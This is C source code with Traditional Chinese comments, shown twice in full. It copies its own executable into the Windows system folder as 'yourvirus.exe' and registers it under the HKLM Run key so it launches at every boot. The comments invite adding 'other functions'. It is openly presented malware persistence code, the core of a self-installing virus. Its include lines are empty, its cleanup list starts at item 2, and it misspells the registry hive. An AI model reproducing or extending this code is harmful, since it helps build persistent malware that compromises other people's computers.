#include
/*
功能:使檔案開機自動執行
思路:
獲取檔案的路徑,將檔案複製到系統資料夾之下;
在登錄檔中註冊檔案路徑,使其開機自動執行。
提示:
當然,還可以透過註冊程式為系統服務,使其開機自動執行.
在執行程式之後,執行以下操作,使系統恢復原狀:
2. 開啟登錄檔:
[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
*/
void main()
{
char system[MAX_PATH]; //系統目錄路徑
char pathtofile[MAX_PATH]; //要開機執行的檔案的完整路徑
HMODULE GetModH = GetModuleHandle(NULL);
//得到當前執行檔案的全路徑
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系統檔案所在目錄的路徑,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));
//形成要複製到的全路徑,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");
//自我複製到目標路徑
CopyFile(pathtofile,system,false);
//寫入登錄檔,以便開機自動執行
HKEY hKey;
//開啟登錄檔:路徑如下
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
//新增一個值,名稱隨意命名,值為要開機執行的檔案的完整路徑
RegSetValueEx(hKey, "Writing to the Registry Example",
0,REG_SZ,(const unsigned char*)system,sizeof(system));
//關閉登錄檔:
RegCloseKey(hKey);
/*可以加入其他功能*/
}
#include
#include
/*
功能:使檔案開機自動執行
思路:
獲取檔案的路徑,將檔案複製到系統資料夾之下;
在登錄檔中註冊檔案路徑,使其開機自動執行。
提示:
當然,還可以透過註冊程式為系統服務,使其開機自動執行.
在執行程式之後,執行以下操作,使系統恢復原狀:
2. 開啟登錄檔:
[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
*/
void main()
{
char system[MAX_PATH]; //系統目錄路徑
char pathtofile[MAX_PATH]; //要開機執行的檔案的完整路徑
HMODULE GetModH = GetModuleHandle(NULL);
//得到當前執行檔案的全路徑
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系統檔案所在目錄的路徑,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));
//形成要複製到的全路徑,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");
//自我複製到目標路徑
CopyFile(pathtofile,system,false);
//寫入登錄檔,以便開機自動執行
HKEY hKey;
//開啟登錄檔:路徑如下
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
//新增一個值,名稱隨意命名,值為要開機執行的檔案的完整路徑
RegSetValueEx(hKey, "Writing to the Registry Example",
0,REG_SZ,(const unsigned char*)system,sizeof(system));
//關閉登錄檔:
RegCloseKey(hKey);
/*可以加入其他功能*/
}